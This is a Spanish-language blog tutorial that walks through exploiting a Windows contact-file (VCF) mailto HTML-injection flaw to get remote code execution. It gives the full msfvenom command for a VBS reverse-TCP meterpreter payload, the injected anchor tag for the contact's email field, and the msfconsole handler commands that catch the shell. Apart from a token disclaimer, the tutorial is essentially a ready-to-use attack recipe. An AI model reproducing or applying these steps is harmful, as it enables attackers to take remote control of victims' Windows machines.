Explotación Windows con archivo de Contacto y Mailto
Explotación Windows con archivo de Contacto y Mailto

Explotación de Windows usando archivo de Contacto (Mailto)

Después del exploit 0 day del archivo VCF malicioso en Windows (ver aquí), investigador de seguridad cibernética John Page (aka hyp3rlinx) merece otra ronda de aplausos por traer esta vulnerabilidad al exploit-db el 23 de enero 2019.

Esta vulnerabilidad se aprovecha aún más de la vulnerabilidad RCE presente en VCF con inyecciones HTML.

Tipo Vulnerabilidad:

Descargo de Responsabilidad

El autor no se responsabiliza del mal uso que se haga de la información aquí contenida ni por cualquier daño causado por el uso o mal uso de esta información.

1. Introducción a la ejecución remota de código

La idea aquí es incluir un archivo VBScript malicioso en la sección de correo electrónico del archivo VCF para ejecutar un script localmente en lugar de abrir el correo electrónico por mailto. Utilizaremos la etiqueta anchor (<a>) de HTML para lograr la tarea mencionada.

Esta vulnerabilidad está clasificada por John como “Mailto: HTML Link Injection Remote Code Execution”. Para leer más sobre el descubrimiento y el origen, sigue este enlace.

Metodología:

  • Haciendo una carga útil (payload) de msfvenom de un formato .vbs.
  • Enviar el archivo VBS a la víctima.
  • Crear un archivo VCF en la carpeta padre.
  • Colocar un correo electrónico en el contacto con parámetros de inyección HTML.
  • Ejecutar multi/handler en una ventana separada.
  • Abrir el correo electrónico en el archivo VCF.
  • Reproducir meterpreter.

Así que, sin más preámbulos, vamos a intentar atacar una PC con Windows.

2. Prueba de concepto

El primer paso sería hacer una carga útil con una extensión .vbs. Para este propósito, estamos utilizando la payload de Windows de msfvenom, pero cualquier otra payload debería funcionar bien.

En mi caso, la dirección IP local es 192.168.1.60:

Payload de msfvenom para Windows
Payload de msfvenom para Windows
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.60 lport=1234 -f vbs > shell.vbs

Una vez que se realiza la payload, transfiere el archivo .vbs a la PC de la víctima. Para este ejemplo:

  1. Carpeta: geek, contiene el archivo VBS
  2. Archivo de contacto: alexynior, fuera de la carpeta geek
Archivo vbs en PC víctima
Archivo vbs en PC víctima

El siguiente y el paso más importante es hacer un archivo VCF de contacto. También puedes descargar un VCF de ejemplo y agregar un sitio web, pero crearé un nuevo archivo de contacto. El sistema que utilizaré es Windows 10, por lo que la versión del archivo VCF puede diferir de la tuya, pero funcionaría igual. Una vez que se crea el archivo de contacto, debajo de la pestaña de correo electrónico, agrega la siguiente inyección HTML:

<a href="geek\shell.vbs">alexynior@gmail.com</a>

Tenga en cuenta que el nombre de la carpeta principal es “geek” y que el archivo VBS malicioso es “shell.vbs“.

Inyección HTML en archivo de contacto
Inyección HTML en archivo de contacto

Ahora tendrás que agregar esta dirección de correo electrónico haciendo clic en el botón Agregar. Como puedes ver, se vería algo así:

Dirección de correo electrónico en Contacto
Dirección de correo electrónico en Contacto

Una vez que se agrega la dirección de correo electrónico, tendrás que guardar el archivo de contacto. El archivo VCF final se verá algo así:

Archivo VCF de contacto
Archivo VCF de contacto

Mediante la etiqueta de inyección HTML mencionada anteriormente, estamos solicitando una inclusión local en lugar de un mensaje de correo electrónico. Esto ejecutará el código malicioso y, por lo tanto, en teoría, generaría una sesión meterpreter.

Entonces, tan pronto como agreguemos el correo en el archivo VCF, Windows te preguntará si deseas “La dirección de correo electrónico que ha especificado no es una dirección de Internet válida. ¿Desea agregar esta dirección de todos modos?” Haz clic en .

La dirección de correo electrónico que ha especificado no es una dirección válida
La dirección de correo electrónico que ha especificado no es una dirección válida

Cuando haces clic en el correo en el archivo VCF procesado, probablemente se haya abierto una nueva sesión de meterpreter.

msfconsole
use exploit/multi/handler
set lhost 192.168.1.60
set lport 1234
set payload windows/meterpreter/reverse_tcp
exploit
Sesión de meterpreter para Windows
Sesión de meterpreter para Windows

3. Conclusión

Esta es una sorprendente vulnerabilidad descubierta por John Page y afecta a todas las versiones de trabajo de Windows que admiten archivos VCF de contacto. Como puedes ver, hemos generado un shell de Windows 10 aquí, es seguro decir que las versiones por debajo del Windows 10 también se vean afectadas. ¡No olvides compartirlo en tus redes sociales! :’)

Mi Carro Close (×)

Tu carrito está vacío
Ver tienda